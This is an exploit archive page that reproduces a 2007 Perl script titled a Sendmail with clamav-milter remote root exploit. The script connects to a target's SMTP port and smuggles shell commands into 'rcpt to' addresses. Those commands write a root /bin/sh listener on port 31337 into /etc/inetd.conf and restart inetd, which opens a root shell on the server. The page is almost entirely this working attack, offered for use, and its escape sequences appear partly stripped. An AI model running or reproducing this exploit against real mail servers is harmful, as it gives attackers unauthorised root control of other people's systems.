[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Sendmail with clamav-milter < 0.91.2 Remote Root Exploit
# Published : 2007-12-21
# Author : eliteboy
# Previous Title : MS Windows 2000 AS SP4 Message Queue Exploit (MS07-065)
# Next Title : rooter VDSL Device (Goahead WEBSERVER) Disclosure Vulnerability
### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
########################################################
use IO::Socket;
print "Sendmail w/ clamav-milter Remote Root Exploitn";
print "Copyright (C) 2007 Eliteboyn";
if ($#ARGV != 0) {print "Give me a host to connect.n";exit;}
print "Attacking $ARGV[0]...n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '25',
Proto => 'tcp');
print $sock "ehlo yourn";
print $sock "mail from: <>rn";
print $sock "rcpt to: <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf"@localhost>rn";
print $sock "rcpt to: <nobody+"|/etc/init.d/inetd restart"@localhost>rn";
print $sock "datarn.rnquitrn";
while (<$sock>) {
print;
}
# www.Syue.com [2007-12-21]